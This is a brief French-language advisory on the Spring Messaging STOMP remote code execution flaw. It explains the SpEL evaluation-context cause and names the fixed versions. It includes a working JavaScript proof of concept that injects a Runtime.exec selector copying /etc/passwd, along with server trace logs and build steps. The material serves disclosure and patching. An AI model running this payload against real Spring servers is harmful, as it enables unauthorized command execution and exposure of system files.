
Spring messaging STOMP protocol RCE
Hier, Spring a annoncé une vulnérabilité RCE, pour en savoir plus :
Versions affectées
Cette vulnérabilité n'a pas d'exigence d'environnement. Si vous utilisez spring-messaging + websocket + STOMP, veuillez mettre à jour vers la dernière version dès que possible ; si vous utilisez SpringBoot, mettez à jour vers 2.0.1.RELEASE.
En bref, en raison des permissions trop larges de StandardEvaluationContext, toute expression SpEL peut être exécutée, donc les officiels ont ajouté SimpleEvaluationContext après Spring 5.0.5 pour permettre une liaison de données simple, tout en conservant la flexibilité sans introduire de risques de sécurité.
spring-messaging fournit le support du protocole STOMP, permettant aux clients de s'abonner à des messages et d'utiliser un selector pour filtrer les messages, par exemple
selector = 'T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")'
stompClient = Stomp.client('ws://localhost:8080/hello')
stompClient.connect({}, function(frame) {
stompClient.subscribe('/topic/greetings', function() {}, {
"selector": selector
})
});
Lors de votre abonnement, spring stocke ce filtre et le déclenche lorsque le client reçoit un message, par exemple
2018-04-07 08:32:20 [clientInboundChannel-3] TRACE o.s.m.s.b.DefaultSubscriptionRegistry - Subscription selector: [T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")]
...
2018-04-07 08:32:21 [MessageBroker-2] DEBUG o.s.m.s.b.DefaultSubscriptionRegistry - Failed to evaluate selector: EL1001E: Type conversion problem, cannot convert from java.lang.UNIXProcess to boolean
Capture d'écran du PoC

L'article d'analyse détaillée de la vulnérabilité sera publié plus tard.
Compilez et démarrez le serveur Spring Boot,
mvn clean package
java -jar target/spring-boot-websocket-1.0.jar
Accédez à - saisissez l'expression pour tester,
http://localhost:8080
